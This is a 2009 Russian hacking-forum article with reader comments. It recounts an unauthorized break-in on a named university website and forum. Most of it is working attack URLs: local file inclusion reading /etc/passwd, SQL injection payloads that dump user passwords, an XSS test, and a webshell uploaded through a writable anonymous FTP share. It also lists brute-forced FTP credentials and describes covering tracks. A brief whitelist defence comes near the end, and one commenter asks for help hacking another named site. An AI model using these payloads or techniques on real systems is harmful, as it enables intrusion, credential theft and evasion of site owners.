PHP Include, и немного удачи. — HackZona.Ru

PHP Include, и немного удачи.

PHP Include, и немного удачи.

Тип статьи:
Со старой ХакЗоны.
Источник:
PHP Include, и немного удачи.

Сегодня мы рассмотрим к каким последствиям может привести локальный PHP Include, скажу сразу в более удачных ситуациях, последствия могут быть еще более плачебны.

Собираем Баги.

Все началось с найденной на сайте БГУ уязвимости, в другой день и при других обстоятельствах, я, скорее всего не обратил бы на нее внимания, но этому сайту повезло (или не повезло, смотря, как посмотреть).

www.brgu.ru/index.php?openpage=/etc/passwd


Итак, мы имеем локальный PHP Include.


//..................................

if (@$_GET['openpage'])
$file=$_GET['openpage'];

if(file_exists($file))
include($file);

else
print ('file not found');

//..............................


Он был порожден примерно таким кодом, функция file_exists, проверяет, существует ли такой файл на сервере, а затем, если существует инклудит его, таким образом, мы можем читать файлы на сервере, но нужно иметь полный путь к файлу и соответствующие права (например, файл /etc/shadow, мы не прочтем прав не хватит).

Проверим параметры на уязвимость к sql инъекции.

www.brgu.ru/index.php?openpage=readnews.php&id=227+union+select+1,2,user(),database(),version(),6,7+limit+1,1--

Версия БД — 4.1.20 значит служебной таблицы information_schema, в которой хранятся название всех таблиц и колонок не существует, прийдется гадать, но это оказалось не сложно:

www.brgu.ru/index.php?openpage=readnews.php&id=227+union+select+1,2,password,database(),name,6,7+from+users+limit+1,1--


Получили доступ к таблице, в которой хранятся аккаунты пользователей форума, нашли админский. Теперь нам не придется регистрироваться, заходим под любым аккаунтом, ищем баги дальше. Форум выглядит не очень безопасным.cмотрим на копирайты, понятно форум самописный, ну что, могу спорить он весь в дырах.

Снова php include:

www.forum.brgu.ru/index.php?page=/etc/passwd

Пробуем оставить сообщение на форуме:

[sсriрt]аlеrt('хss')[/sсriрt]

Выдим выскочило окно с надписью xss, да и межсайтовый скриптинг при нас.

Получаем Вебшелл.

Уязвимостей тут хоть отбавляй, казалось бы при таком смертельно опасном наборе дыр, взломать сайт не составит проблем, но на самом деле мы не так уж и много имеем sql иньекция исчерпала свой потенциал, когда отдала нам аккаунты пользователей форма, тем самым сделав бесполезным использование xss, остался только php-include, тоесть мы можем проинклудить вредоносный php скрипт, да но нужно для начала залить этот скрипт на сервер, посмотрев форум мы убедились, что залить свою аватару или вообще заливать свои файлы возможности нет.

Уже от безнадежности сканируя порты я заметил, что тут стоит фтп сервер и есть анонимный доступ, причем папка:

ftp://www.brgu.ru/pub_rw/%C4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8/


Доступна для записи!

А что если проинклудить файл с фтп? нужно попробывать!

Допустим, существует фтп сервер, но он не предоставляет всю файловую систему в наше распоряжение (если только админ не постарался этого настроить) а только отдельную директорию (такая директория называется домашней директорией фтп сервера), то есть к файлам на фтп теоретически можно обратиться и из http, только нужно знать «домашний» каталог фтп сервера, путь к нему. Примерно так я представлял себе структуру файлов на сервере (на самом деле она оказалась другой, но это не важно, главное принцип)


www.brgu.ru/index.php?openpage=../

Означает подняться на один каталог вверх, то есть мне не нужно искать полный путь к домашней папке фтп сервера, а достаточно, знать только название папки (если, конечно, сайт и домашняя директория фтп, находятся в одном дереве каталогов), и просто попытаться угадать

www.brgu.ru/index.php?openpage=../ftphome
www.brgu.ru/index.php?openpage=../../ftphome
www.brgu.ru/index.php?openpage=../../../ftphome

И так пока не пропадет ошибка, если она пропадет, то значит, такой каталог существует, кстати, всегда, можно автоматизировать процесс...

Мне не пришлось этого делать, ибо мне улыбнулась удача!

www.brgu.ru/index.php?openpage=../../ftp/

После я зашел на фтп сервер и залил на него скрипт вебшелла, а затем проинклудил его

www.brgu.ru/index.php?openpage=../../ftp/pub_rw/%C4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8/shell.php


Теперь вернемся к /etc/passwd, здесь мы можем видеть аккаунты всех пользователей сервера, у r57, есть замечательная возможность, мы можем попробывать сбрутить более привилегированные аккаунты к фтп серверу опираясь на /etc/passwd, получаем:

ftp:ftp
aspirantura1:aspirantura1
profcom11:profcom11


Теперь закачаем наш шелл в другой каталог, и удалим с фтп сервера файлы, что мы заливали ранее (чтоб не палится).

Защита.

Я расскажу только о защите от php include, поскольку, все остальные уязвимости, найденные в скриптах, не сыграли почти ни какой роли.

Самый надежный способ защититься, это создать массив, в котором будут храниться все возможные значения переменной, и проверять если в массиве не встречается такого значения переменной, то, например, редикет на главную страницу сайта.


//..................................

$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module. '.php';

//..............................


Вывод.

Я не ставили своей целью получение root на сервере и проникновение во внутреннюю сеть, поэтому остановился на достигнутом, надеюсь, администратор сделать свои выводы из выше написанного.

22.06.09

Отформатированную версию статьи читайте в моем блоге (http://kerny-auroras.blogspot.com/2009/08/php-include.html)
Нравится
Не нравится

7 комментариев

04:23
Давно уже читал :)
15:48
Да да))я тоже помню читал когда то)но в целом статья хорошая))
17:12
Молоток хорошая статья))
03:50
Интерестно.
11:21
Люди, как подобрать базу данных для вывода паролей, логинов и мейлов, вообще никакое название не подходит(Mysql 5.0.33).
16:51
юзай таблицу information.schema
15:05
Пожалуйста помогите взломать сайт
http://main.fxclub.org/admin/index.php
Вроде бы код понятный и должны быть лазейки, но ничего не выходит